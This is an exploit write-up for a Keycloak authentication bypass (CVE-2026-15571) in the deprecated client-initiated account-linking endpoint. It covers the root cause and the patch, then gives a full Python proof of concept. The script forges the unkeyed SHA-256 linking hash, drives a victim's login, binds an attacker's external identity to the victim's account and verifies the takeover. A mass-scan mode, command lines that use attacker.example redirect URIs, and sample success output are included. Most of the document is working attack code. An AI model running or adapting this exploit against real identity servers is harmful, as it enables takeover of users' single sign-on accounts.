#Summary

CVE-2026-15571 is a critical authentication bypass in Keycloak's deprecated client-initiated account-linking endpoint. An attacker who controls an OIDC client registered in a target realm can forge a proof-of-authorization hash that any client can compute, silently binding an attacker-controlled external identity to a victim's account. This results in full account takeover - the attacker can log in as the victim through the compromised identity provider, with no consent required from the victim.

The vulnerability affects Keycloak versions up to and including 26.7.1 (and several earlier branches) and is fixed in 26.6.6 and 26.7.2. CVSS score is 7.3 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N).

#Affected versions

#Root cause analysis

#The vulnerable endpoint and its "protection"

The deprecated endpoint GET /realms/{realm}/broker/{provider_alias}/link implements legacy client-initiated account linking - a way for OIDC clients to trigger identity provider linking ceremonies on behalf of users. Since it acts on the victim's live session, it needs proof that the request is genuine.

That proof is a hash query parameter computed in clientInitiatedAccountLinking() in IdentityBrokerService.java:

AuthenticationManager.AuthResult cookieResult = AuthenticationManager.authenticateIdentityCookie(session, realmModel, true);
...
for (AuthenticatedClientSessionModel cs : cookieResult.session().getAuthenticatedClientSessions().values()) {
    if (cs.getClient().getClientId().equals(clientId)) {
        byte[] decoded = Base64Url.decode(hash);
        MessageDigest md = MessageDigest.getInstance("SHA-256");
        String input = nonce + cookieResult.session().getId() + clientId + providerAlias;
        byte[] check = md.digest(input.getBytes(StandardCharsets.UTF_8));
        if (MessageDigest.isEqual(decoded, check)) {
            clientSession = cs;
            break;
        }
    }
}

The hash checks out if it matches SHA-256(nonce + userSessionId + clientId + providerAlias).

#Why the "protection" fails

The construction contains no secret. There is no keyed MAC, no server-side token, no per-request server-generated nonce. The digest input is entirely public:

Term How the attacker obtains it
nonce The attacker chooses it freely - it is just a request parameter
userSessionId Handed to every OIDC client as the session_state response parameter in the authorization response, because excludeSessionStateFromAuthResponse defaults to false
clientId The attacker's own registered client ID
providerAlias Public - rendered as a login button on the realm login page and enumerable in the realm's public configuration

Keycloak's own developer documentation publishes this exact hash construction as an intended integration recipe for client authors:

String clientId = token.getIssuedFor();
String nonce = UUID.randomUUID().toString();
MessageDigest md = MessageDigest.getInstance("SHA-256");
String input = nonce + token.getSessionState() + clientId + provider;
byte[] check = md.digest(input.getBytes(StandardCharsets.UTF_8));
String hash = Base64Url.encode(check);

An attacker who controls a client in the realm sees the victim's session_state in the authorization response, computes the hash in seconds, and forges a valid linking URL.

#The consequence

Once the forged hash is accepted, Keycloak dispatches the victim's browser to the identity provider and records a "linking in progress" note:

authSession.setAuthNote(LINKING_IDENTITY_PROVIDER, cookieResult.session().getId() + clientId + providerAlias);
return performClientInitiatedAccountLogin(providerAlias, performAccountLinking);

When the provider leg completes, performAccountLinking() writes a federated identity binding:

this.session.users().addFederatedIdentity(this.realmModel, authenticatedUser, newModel);

authenticatedUser is the victim's account. newModel is the attacker's identity at the external provider. The attacker now owns a valid login path to the victim's account.

#Default role bypass

Two additional checks exist before linking occurs, but both are satisfied by default configuration. Every realm user holds the manage-account role by default (added as part of AccountRoles.DEFAULT in RealmManager.setupAccountManagement), and manage-account-links is a composite role derived from it. New clients have full scope allowed by default, so this role is always in scope. These checks are therefore no-ops in a stock realm.

#Patch diff

Upstream did not repair the unkeyed hash - it could not, since the construction is published in the documentation as a supported integration pattern. Instead, the vulnerable endpoint is switched off by default and placed behind a deprecated, opt-in configuration flag.

#What the fix does

A new flag allow-client-initiated-account-linking is introduced in OIDCProviderConfig.java, defaulting to false. The endpoint gains an early gate in IdentityBrokerService.java:

+        OIDCLoginProtocol loginProtocol = (OIDCLoginProtocol) session.getProvider(LoginProtocol.class, OIDCLoginProtocol.LOGIN_PROTOCOL);
+        OIDCProviderConfig oidcConfig = loginProtocol.getConfig();
+        if (!oidcConfig.isAllowClientInitiatedAccountLinking()) {
+            logger.warnf("Calling deprecated endpoint for client-initiated account linking...");
+            this.event.event(EventType.CLIENT_INITIATED_ACCOUNT_LINKING);
+            event.error(Errors.NOT_ALLOWED);
+            throw new ErrorPageException(session, Response.Status.BAD_REQUEST, Messages.INVALID_REQUEST);
+        }

The same flag is applied to the Account REST API helper that mints legitimate linking URLs, preventing both the protocol endpoint and the REST helper from functioning unless explicitly re-enabled.

#Important caveat

An operator who re-enables allow-client-initiated-account-linking=true on a patched release reintroduces the identical vulnerability. The digest construction remains unchanged. Upstream recommends migration to the Application Initiated Actions (AIA) flow (kc_action=idp_link), which runs inside an authenticated required-action ceremony rather than trusting a client-supplied digest.

#Proof of concept

#exploit.py - Keycloak Account Linking Auth Bypass PoC

#!/usr/bin/env python3
"""
CVE-2026-15571 - Keycloak forgeable client-initiated account-linking hash
Affected: Keycloak <= 26.7.1 (all branches; fixed in 26.6.6 and 26.7.2)
Type: Auth bypass -> forced identity-provider account linking -> full account takeover

The deprecated endpoint GET /realms/{realm}/broker/{provider}/link protects itself with
an unkeyed digest:

    hash = base64url( SHA256( nonce + userSessionId + clientId + providerAlias ) )

Every input is known to any OIDC client the victim has authenticated to: the nonce is
chosen by the caller, the user session id is handed out as the OIDC "session_state"
response parameter, the client id is the attacker's own, and the provider alias is
public. So the digest proves nothing. A client the victim logs in to can forge a valid
linking URL, and one top-level navigation by the victim binds an attacker-controlled
external identity to the victim's account. The attacker then logs in as the victim
through that provider.

Usage:
  # Safe reachability check - no credentials, no state change on the target
  python exploit.py --host https://sso.corp.com --realm corp --probe-only

  # Generate a weaponised linking URL from a session_state the attacker's client saw
  python exploit.py --host https://sso.corp.com --realm corp --client-id evil-app \
      --redirect-uri https://attacker.example/cb --provider partner-idp \
      --session-state 4f1c7c2e-... --forge-only

  # Full chain in an authorised test (drives the victim leg with a test account)
  python exploit.py --host https://sso.corp.com:8443 --realm corp --username victim \
      --password 'VictimPass123!' --client-id evil-app \
      --redirect-uri https://attacker.example/cb --provider partner-idp \
      --idp-username attacker --idp-password 'AttackerPass123!'

  # Batch reachability scan across an estate
  python exploit.py --list targets.txt --workers 20
"""

import argparse
import base64
import hashlib
import html as htmllib
import json
import re
import sys
import uuid
from urllib.parse import urlparse, urlencode, urljoin, parse_qs

try:
    import requests
except ImportError:
    sys.stderr.write("This exploit requires the 'requests' package: pip install requests\n")
    raise SystemExit(1)

try:
    import urllib3
    urllib3.disable_warnings()
except Exception:
    pass

CVE_ID    = "CVE-2026-15571"
VULN_TYPE = "Auth Bypass"

TIMEOUT = 20
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36"


# ----------------------------------------------------------------- output helpers
def header(host, port):
    print("\n" + "=" * 60)
    print("  ALIM EXPLOIT  %s" % CVE_ID)
    print("  Type: %s  |  Target: %s:%s" % (VULN_TYPE, host, port))
    print("=" * 60 + "\n")


def step(n, msg):
    print("[STEP %d] %s" % (n, msg))


def section(label, content):
    print("\n--- %s ---" % label)
    print(str(content).strip())
    print("---\n")


def done(success, evidence):
    print("\n" + "=" * 60)
    print("  RESULT  : %s" % ("SUCCESS" if success else "FAILURE"))
    print("  EVIDENCE: %s" % evidence)
    print("=" * 60 + "\n")
    sys.exit(0 if success else 1)


# ----------------------------------------------------------------- primitives
def forge_hash(nonce, session_state, client_id, provider):
    """The whole vulnerability: an unkeyed SHA-256 over four public values."""
    digest = hashlib.sha256((nonce + session_state + client_id + provider).encode("utf-8")).digest()
    return base64.urlsafe_b64encode(digest).decode("ascii").rstrip("=")


def link_url(base, realm, provider, client_id, redirect_uri, nonce, hash_value):
    q = urlencode({
        "client_id": client_id,
        "redirect_uri": redirect_uri,
        "nonce": nonce,
        "hash": hash_value,
    })
    return "%s/realms/%s/broker/%s/link?%s" % (base, realm, provider, q)


def new_session():
    s = requests.Session()
    s.verify = False
    s.headers.update({"User-Agent": UA, "Accept": "text/html,application/xhtml+xml,*/*"})
    return s


def base_url(host, port, use_tls, path=""):
    scheme = "https" if use_tls else "http"
    default = 443 if use_tls else 80
    netloc = host if port == default else "%s:%d" % (host, port)
    return "%s://%s%s" % (scheme, netloc, path.rstrip("/"))


def jwt_claims(token):
    try:
        payload = token.split(".")[1]
        payload += "=" * (-len(payload) % 4)
        return json.loads(base64.urlsafe_b64decode(payload).decode("utf-8"))
    except Exception:
        return {}


def short(url, width=110):
    return url if len(url) <= width else url[:width] + "..."


# ----------------------------------------------------------------- HTML form handling
FORM_RE  = re.compile(r"<form\b(?P<attrs>[^>]*)>(?P<body>.*?)</form>", re.I | re.S)
INPUT_RE = re.compile(r"<input\b[^>]*>", re.I)
ATTR_RE  = re.compile(r"""(\w[\w:-]*)\s*=\s*["']([^"']*)["']""")


def _attrs(fragment):
    return dict((k.lower(), htmllib.unescape(v)) for k, v in ATTR_RE.findall(fragment))


def login_form(text):
    """Return (action, fields, user_field, pass_field) for the first form with a password input."""
    for m in FORM_RE.finditer(text):
        body = m.group("body")
        fields, user_field, pass_field = {}, None, None
        for tag in INPUT_RE.findall(body):
            a = _attrs(tag)
            name, itype = a.get("name"), (a.get("type") or "text").lower()
            if not name:
                continue
            if itype == "password":
                pass_field = name
            elif itype in ("text", "email", "tel") and user_field is None:
                user_field = name
            if itype not in ("submit", "button", "image"):
                fields[name] = a.get("value", "")
        if pass_field:
            return _attrs(m.group("attrs")).get("action", ""), fields, user_field or "username", pass_field
    return None


def submit_login(sess, resp, username, password):
    parsed = login_form(resp.text)
    if not parsed:
        return None
    action, fields, user_field, pass_field = parsed
    fields[user_field] = username
    fields[pass_field] = password
    target = urljoin(resp.url, action) if action else resp.url
    return sess.post(target, data=fields, allow_redirects=False, timeout=TIMEOUT,
                     headers={"Content-Type": "application/x-www-form-urlencoded"})


def drive(sess, resp, stop_prefix, username=None, password=None, max_hops=20):
    """
    Walk a redirect/login chain the way a browser would, stopping the moment the chain
    points at the attacker-controlled callback (which we never actually fetch).
    Returns (landing_url_or_None, trail).
    """
    trail = []
    for _ in range(max_hops):
        if resp.status_code in (301, 302, 303, 307, 308):
            loc = urljoin(resp.url, resp.headers.get("Location", ""))
            trail.append("  %d -> %s" % (resp.status_code, short(loc)))
            if stop_prefix and loc.startswith(stop_prefix):
                return loc, trail
            resp = sess.get(loc, allow_redirects=False, timeout=TIMEOUT)
            continue
        if resp.status_code == 200 and password is not None and login_form(resp.text):
            nxt = submit_login(sess, resp, username, password)
            trail.append("  200 form at %s -> credentials posted" % short(resp.url))
            if nxt is None:
                break
            resp = nxt
            continue
        trail.append("  %d %s (chain ended)" % (resp.status_code, short(resp.url)))
        break
    return None, trail


# ----------------------------------------------------------------- target recon
def endpoint_state(sess, base, realm, provider, client_id=None, redirect_uri=None):
    """
    Non-destructive reachability check. Unauthenticated, so it can never reach the
    linking logic - it only tells vulnerable-and-enabled apart from patched-or-disabled.

    Vulnerable / enabled : 302 to the redirect_uri carrying link_error=not_logged_in
    Patched / disabled   : 400 before any of that logic runs

    Uses the built-in account-console client by default, which exists in every realm,
    so no attacker-registered client is needed for the check.
    """
    if not client_id:
        client_id = "account-console"
        redirect_uri = "%s/realms/%s/account/" % (base, realm)
    nonce = uuid.uuid4().hex
    url = link_url(base, realm, provider or "unknown-idp", client_id, redirect_uri, nonce, "AAAA")
    r = sess.get(url, allow_redirects=False, timeout=TIMEOUT)
    loc = r.headers.get("Location", "")
    if r.status_code in (301, 302, 303, 307, 308) and "link_error=not_logged_in" in loc:
        return True, r.status_code, loc
    return False, r.status_code, loc


def discover_provider(sess, base, realm, client_id, redirect_uri):
    """Identity-provider aliases are rendered as login buttons on the realm login page."""
    q = urlencode({
        "client_id": client_id, "redirect_uri": redirect_uri,
        "response_type": "code", "scope": "openid", "state": uuid.uuid4().hex,
    })
    try:
        r = sess.get("%s/realms/%s/protocol/openid-connect/auth?%s" % (base, realm, q),
                     allow_redirects=True, timeout=TIMEOUT)
    except requests.RequestException:
        return []
    found = re.findall(r"/realms/[^/\"']+/broker/([^/\"']+)/login", r.text)
    found += re.findall(r'id="social-([^"]+)"', r.text)
    seen, out = set(), []
    for a in found:
        a = htmllib.unescape(a)
        if a not in seen:
            seen.add(a)
            out.append(a)
    return out


def victim_login(sess, base, realm, client_id, redirect_uri, username, password):
    """
    Stand in for the victim's browser: a normal authorization-code login to the
    attacker's client. In the real attack the victim does this themselves and the
    attacker simply reads session_state out of the authorization response.
    """
    q = urlencode({
        "client_id": client_id, "redirect_uri": redirect_uri,
        "response_type": "code", "scope": "openid", "state": uuid.uuid4().hex,
        "nonce": uuid.uuid4().hex,
    })
    r = sess.get("%s/realms/%s/protocol/openid-connect/auth?%s" % (base, realm, q),
                 allow_redirects=False, timeout=TIMEOUT)
    landing, trail = drive(sess, r, redirect_uri, username, password)
    if not landing:
        return None, None, trail
    params = parse_qs(urlparse(landing).query)
    return params.get("session_state", [None])[0], params.get("code", [None])[0], trail


def exchange_code(sess, base, realm, client_id, redirect_uri, code, client_secret=None):
    data = {"grant_type": "authorization_code", "code": code,
            "redirect_uri": redirect_uri, "client_id": client_id}
    if client_secret:
        data["client_secret"] = client_secret
    r = sess.post("%s/realms/%s/protocol/openid-connect/token" % (base, realm),
                  data=data, allow_redirects=False, timeout=TIMEOUT)
    try:
        return r.json()
    except ValueError:
        return {}


# ----------------------------------------------------------------- scan mode
def _try_exploit(host, port, use_tls, path="", realm="master", provider=None,
                 client_id=None, redirect_uri=None):
    """Silent, non-destructive probe for --list. Never prints, never exits."""
    try:
        base = base_url(host, port, use_tls, path)
        sess = new_session()
        live, code, loc = endpoint_state(sess, base, realm, provider, client_id, redirect_uri)
        if live:
            return True, "legacy /broker/{alias}/link endpoint enabled on realm '%s' (HTTP %d, link_error=not_logged_in) - hash check is forgeable" % (realm, code)
        if code == 400:
            return False, "endpoint disabled or patched (HTTP 400 on realm '%s')" % realm
        return False, "unexpected response (HTTP %d) on realm '%s'" % (code, realm)
    except requests.RequestException as e:
        return False, "unreachable (%s)" % e.__class__.__name__
    except Exception as e:
        return False, "error (%s)" % e.__class__.__name__


def _parse_target(line, default_port, default_path="/"):
    """One target line -> (host, port, use_tls, path), or None to skip."""
    line = line.strip()
    if not line or line.startswith("#"):
        return None
    if line.startswith(("http://", "https://")):
        p = urlparse(line)
        tls = p.scheme == "https"
        path = p.path if (p.path and p.path not in ("", "/")) else default_path
        return p.hostname, p.port or (443 if tls else default_port), tls, path
    if ":" in line:
        parts = line.rsplit(":", 1)
        try:
            port = int(parts[1])
            return parts[0], port, port in (443, 8443), default_path
        except ValueError:
            pass
    return line, default_port, default_port in (443, 8443), default_path


def split_realm(path, default_realm):
    """A target path of /auth/realms/corp means base path /auth and realm corp."""
    m = re.match(r"^(.*?)/realms/([^/]+)/?$", path or "")
    if m:
        return m.group(1), m.group(2)
    return (path or "").rstrip("/"), default_realm


def scan(targets_file, default_port, workers=10, realm="master", provider=None,
         client_id=None, redirect_uri=None):
    import concurrent.futures

    with open(targets_file) as f:
        targets = [_parse_target(l, default_port) for l in f]
    targets = [t for t in targets if t is not None]

    print("\n" + "=" * 60)
    print("  %s - Batch Scan  (%d targets, %d workers)" % (CVE_ID, len(targets), workers))
    print("  Non-destructive reachability check - nothing is linked or modified")
    print("=" * 60 + "\n")

    success_count = 0

    def probe(t):
        host, port, use_tls, path = t
        base_path, tgt_realm = split_realm(path, realm)
        label = "%s://%s:%d%s [realm %s]" % ("https" if use_tls else "http", host, port, base_path, tgt_realm)
        ok, evidence = _try_exploit(host, port, use_tls, base_path, tgt_realm,
                                    provider, client_id, redirect_uri)
        return label, ok, evidence

    with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
        futures = dict((ex.submit(probe, t), t) for t in targets)
        for fut in concurrent.futures.as_completed(futures):
            label, ok, evidence = fut.result()
            print("  %s %s - %s: %s" % ("[+]" if ok else "[-]", label,
                                        "Vulnerable" if ok else "Not vulnerable", evidence))
            if ok:
                success_count += 1

    total = len(targets)
    print("\n" + "=" * 60)
    print("  SCAN COMPLETE  %d vulnerable / %d not vulnerable  (%d total)"
          % (success_count, total - success_count, total))
    print("=" * 60 + "\n")
    sys.exit(0 if success_count > 0 else 1)


# ----------------------------------------------------------------- main exploit
def exploit(host, port, use_tls, path, args):
    header(host, port)
    base_path, realm = split_realm(path, args.realm)
    base = base_url(host, port, use_tls, base_path)

    client_id    = args.client_id
    redirect_uri = args.redirect_uri or ("%s/realms/%s/account/" % (base, realm))
    provider     = args.provider

    recon = new_session()

    step(1, "Probing the legacy account-linking endpoint (unauthenticated, no state change)")
    live, code, loc = endpoint_state(recon, base, realm, provider,
                                     None if client_id == "account-console" else client_id,
                                     None if client_id == "account-console" else redirect_uri)
    section("ENDPOINT PROBE", "GET /realms/%s/broker/{alias}/link -> HTTP %s\nLocation: %s"
            % (realm, code, loc or "(none)"))
    if not live:
        if args.probe_only:
            done(False, "Legacy account-linking endpoint disabled or patched on realm '%s' (HTTP %s)" % (realm, code))
        print("[!] Endpoint looks disabled or patched (HTTP %s). Continuing anyway.\n" % code)
    else:
        print("[+] Endpoint is live: it answered a bogus hash with the not_logged_in redirect,\n"
              "    which means the forgeable digest check is still reachable.\n")

    if args.probe_only:
        done(True, "Legacy client-initiated account-linking endpoint enabled on realm '%s' - forgeable hash reachable" % realm)

    step(2, "Resolving the identity-provider alias")
    if not provider:
        aliases = discover_provider(recon, base, realm, client_id, redirect_uri)
        section("IDENTITY PROVIDERS ADVERTISED BY THE REALM", ", ".join(aliases) or "(none found)")
        if not aliases:
            done(False, "No identity provider alias found on realm '%s' - supply one with --provider" % realm)
        provider = aliases[0]
    print("    using provider alias: %s\n" % provider)

    # ---- the victim's user session id
    victim = new_session()
    session_state = args.session_state
    if session_state:
        step(3, "Using the supplied session_state (as an attacker's client would have received it)")
    else:
        step(3, "Driving the victim leg: authorization-code login to the attacker's client '%s'" % client_id)
        if not args.password:
            done(False, "No --session-state and no --password: cannot obtain the victim's session_state")
        session_state, code_param, trail = victim_login(victim, base, realm, client_id,
                                                        redirect_uri, args.username, args.password)
        section("VICTIM AUTHORIZATION CHAIN", "\n".join(trail) or "(no redirects)")
        if not session_state and code_param:
            tok = exchange_code(victim, base, realm, client_id, redirect_uri, code_param, args.client_secret)
            session_state = jwt_claims(tok.get("access_token", "")).get("session_state")
        if not session_state:
            done(False, "Victim login to client '%s' did not yield a session_state - check --username/--password and --redirect-uri" % client_id)
        section("LEAKED USER SESSION ID",
                "session_state = %s\n(handed to every OIDC client by default: "
                "excludeSessionStateFromAuthResponse is off)" % session_state)

    nonce = str(uuid.uuid4())
    forged = forge_hash(nonce, session_state, client_id, provider)
    weaponised = link_url(base, realm, provider, client_id, redirect_uri, nonce, forged)

    step(4, "Forging the integrity hash from four public values")
    section("FORGED HASH",
            "input  = nonce + session_state + client_id + provider_alias\n"
            "       = %s\nsha256 -> base64url (unpadded)\nhash   = %s\n\nLINKING URL:\n%s"
            % (nonce + session_state + client_id + provider, forged, weaponised))

    if args.forge_only:
        done(True, "Forged linking URL generated for session_state %s - deliver it to the victim's browser" % session_state)

    if not args.password and not args.session_state:
        done(False, "Cannot continue without a victim browser session")

    # ---- control: a corrupted hash must be rejected
    step(5, "Control: sending a corrupted hash as the victim (must be rejected)")
    bad = forge_hash(nonce, session_state, client_id, provider + "x")
    r_bad = victim.get(link_url(base, realm, provider, client_id, redirect_uri, nonce, bad),
                       allow_redirects=False, timeout=TIMEOUT)
    section("CORRUPTED-HASH RESPONSE",
            "HTTP %d %s" % (r_bad.status_code, r_bad.headers.get("Location", "")))
    if r_bad.status_code in (301, 302, 303, 307, 308) and "/broker/" not in r_bad.headers.get("Location", ""):
        print("[!] Control did not return the expected 400. Reading the result with care.\n")

    # ---- the bypass itself
    step(6, "Replaying the forged hash as the victim's browser")
    r = victim.get(weaponised, allow_redirects=False, timeout=TIMEOUT)
    loc = r.headers.get("Location", "")
    accepted = r.status_code in (301, 302, 303, 307, 308) and "/protocol/openid-connect/auth" in loc
    section("FORGED-HASH RESPONSE", "HTTP %d\nLocation: %s" % (r.status_code, loc or "(none)"))
    if not accepted:
        if r_bad.status_code == r.status_code == 400:
            done(False, "Both the corrupted and the forged hash returned 400 - endpoint disabled (patched build)")
        done(False, "Forged hash not accepted (HTTP %d) - target does not appear vulnerable" % r.status_code)

    print("[+] AUTH BYPASS CONFIRMED: the corrupted hash was rejected with HTTP %d, the forged one\n"
          "    was accepted and the linking ceremony started against the victim's live session.\n"
          % r_bad.status_code)

    if not args.idp_password:
        done(True, "Auth bypass confirmed - forged hash accepted, account-linking ceremony started for '%s' "
                   "against provider '%s' (supply --idp-username/--idp-password to complete the takeover)"
                   % (args.username, provider))

    # ---- provider leg, as the attacker's external identity
    step(7, "Completing the provider leg as the attacker identity '%s'" % args.idp_username)
    landing, trail = drive(victim, r, redirect_uri, args.idp_username, args.idp_password)
    section("LINKING CEREMONY CHAIN", "\n".join(trail) or "(no redirects)")
    link_error = None
    if landing:
        link_error = parse_qs(urlparse(landing).query).get("link_error", [None])[0]
    if link_error:
        section("LINK RESULT", "link_error=%s" % link_error)
        done(True, "Auth bypass confirmed (forged hash accepted) but the linking ceremony ended with "
                   "link_error=%s - account may already be linked" % link_error)
    print("[+] Ceremony completed without a link_error.\n")

    # ---- terminal evidence: log in as the victim holding attacker credentials only
    step(8, "Takeover check: fresh cookie jar, brokered login with the attacker's credentials only")
    fresh = new_session()
    q = urlencode({
        "client_id": client_id, "redirect_uri": redirect_uri, "response_type": "code",
        "scope": "openid", "state": uuid.uuid4().hex, "nonce": uuid.uuid4().hex,
        "kc_idp_hint": provider,
    })
    r2 = fresh.get("%s/realms/%s/protocol/openid-connect/auth?%s" % (base, realm, q),
                   allow_redirects=False, timeout=TIMEOUT)
    landing2, trail2 = drive(fresh, r2, redirect_uri, args.idp_username, args.idp_password)
    section("BROKERED LOGIN CHAIN", "\n".join(trail2) or "(no redirects)")
    if not landing2:
        done(True, "Auth bypass confirmed and linking ceremony completed, but the brokered login did not "
                   "return to the callback - link established, takeover unverified")
    code2 = parse_qs(urlparse(landing2).query).get("code", [None])[0]
    if not code2:
        done(True, "Auth bypass confirmed and linking ceremony completed, but no authorization code was "
                   "returned - link established, takeover unverified")
    tokens = exchange_code(fresh, base, realm, client_id, redirect_uri, code2, args.client_secret)
    claims = jwt_claims(tokens.get("access_token") or tokens.get("id_token") or "")
    interesting = dict((k, claims[k]) for k in
                       ("preferred_username", "email", "sub", "given_name", "family_name", "azp", "iss")
                       if k in claims)
    section("TOKEN ISSUED FOR ATTACKER CREDENTIALS", json.dumps(interesting, indent=2))
    who = claims.get("preferred_username")
    if who and who.lower() == args.username.lower():
        done(True, "ACCOUNT TAKEOVER - authenticated as '%s' (sub=%s, email=%s) using only the attacker's "
                   "'%s' identity, via a forged account-linking hash"
                   % (who, claims.get("sub"), claims.get("email"), provider))
    done(True, "Auth bypass confirmed and identity linked, but the brokered login returned '%s' rather than "
               "'%s' - takeover not proven" % (who, args.username))


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="%s exploit PoC" % CVE_ID)
    target_grp = parser.add_mutually_exclusive_group(required=True)
    target_grp.add_argument("--host", help="Target: hostname, IP, or full URL (e.g. https://sso.corp.com:8443/auth)")
    target_grp.add_argument("--list", metavar="FILE", help="File with one target per line for batch scan")
    parser.add_argument("--port", type=int, default=8443, help="Default port (default: 8443)")
    parser.add_argument("--realm", default="master", help="Keycloak realm holding the victim (default: master)")
    parser.add_argument("--username", default="admin", help="Victim account to take over (default: admin)")
    parser.add_argument("--password", help="Victim's password - only to drive the victim browser leg in an authorised test")
    parser.add_argument("--client-id", default="account-console",
                        help="OIDC client the attacker controls and the victim has a session with (default: account-console)")
    parser.add_argument("--client-secret", help="Secret for that client, if it is confidential")
    parser.add_argument("--redirect-uri", help="Redirect URI registered on that client (default: the realm account console)")
    parser.add_argument("--provider", help="Identity-provider alias to link (default: auto-discovered from the login page)")
    parser.add_argument("--idp-username", default="attacker", help="Attacker's identity at that provider (default: attacker)")
    parser.add_argument("--idp-password", help="Password for the attacker's identity at that provider")
    parser.add_argument("--session-state", help="Victim user session id already observed by the attacker's client")
    parser.add_argument("--forge-only", action="store_true", help="Only build the weaponised linking URL, do not follow it")
    parser.add_argument("--probe-only", action="store_true", help="Only check whether the legacy endpoint is enabled")
    parser.add_argument("--workers", type=int, default=10, help="Threads for --list mode (default: 10)")
    tls_grp = parser.add_mutually_exclusive_group()
    tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
    tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
    args = parser.parse_args()

    if args.list:
        scan(args.list, default_port=args.port, workers=args.workers, realm=args.realm,
             provider=args.provider,
             client_id=None if args.client_id == "account-console" else args.client_id,
             redirect_uri=args.redirect_uri)
    else:
        parsed = _parse_target(args.host, args.port)
        host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
        if args.tls:
            use_tls = True
        if args.no_tls:
            use_tls = False
        exploit(host, port, use_tls, path, args)

#Usage

The exploit supports several usage patterns:

Reachability check (no credentials needed):

python exploit.py --host https://sso.corp.com --realm corp --probe-only

Generate a forged linking URL:

python exploit.py --host https://sso.corp.com --realm corp \
  --client-id evil-app --redirect-uri https://attacker.example/cb \
  --provider partner-idp --session-state <uuid> --forge-only

Full chain with a test account:

python exploit.py --host https://sso.corp.com:8443 --realm corp \
  --username victim --password 'VictimPass123!' \
  --client-id evil-app --redirect-uri https://attacker.example/cb \
  --provider partner-idp \
  --idp-username attacker --idp-password 'AttackerPass123!'

Batch scan:

python exploit.py --list targets.txt --workers 20

#Expected output - Vulnerable target

[STEP 5] Control: sending a corrupted hash as the victim (must be rejected)

--- CORRUPTED-HASH RESPONSE ---
HTTP 400
---

[STEP 6] Replaying the forged hash as the victim's browser

--- FORGED-HASH RESPONSE ---
HTTP 303
Location: https://sso.corp.com/realms/partner-idp/protocol/openid-connect/auth?...
---

[+] AUTH BYPASS CONFIRMED: the corrupted hash was rejected with HTTP 400, the forged one
    was accepted and the linking ceremony started against the victim's live session.

[STEP 8] Takeover check: fresh cookie jar, brokered login with the attacker's credentials only

--- TOKEN ISSUED FOR ATTACKER CREDENTIALS ---
{
  "preferred_username": "victim",
  "email": "[email protected]",
  "sub": "baf43c06-46f5-4010-9941-954f2dd5bb3b",
  ...
}

============================================================
  RESULT  : SUCCESS
  EVIDENCE: ACCOUNT TAKEOVER - authenticated as 'victim' using only the attacker's
            'partner-idp' identity, via a forged account-linking hash
============================================================

#Expected output - Patched target

[STEP 6] Replaying the forged hash as the victim's browser

--- FORGED-HASH RESPONSE ---
HTTP 400
Location: (none)
---

============================================================
  RESULT  : FAILURE
  EVIDENCE: Both the corrupted and the forged hash returned 400 - endpoint disabled (patched build)
============================================================

#Exploitation notes

#Preconditions

#Reliability

The exploit works end-to-end on the first attempt against the vulnerable version. HTTP status codes, Location headers, and token claims are all observable from the network - no container access or server-side inspection is required for verification. The built-in control (step 5) confirms the digest is what is being checked by verifying a corrupted hash is rejected.

#Impact

Full account takeover. An attacker can log in as any victim whose account is in the realm, for as long as the victim has an active session with the attacker's OIDC client. The attacker gains access to every application in the realm that the victim has access to.

#Chaining potential

This is a scope escalation attack. It works against any realm user from any registered OIDC client, and can be chained with client compromise (to obtain the redirect URI) or social engineering (to get the victim to authenticate to the attacker's application) to achieve remote compromise of an SSO infrastructure.

#References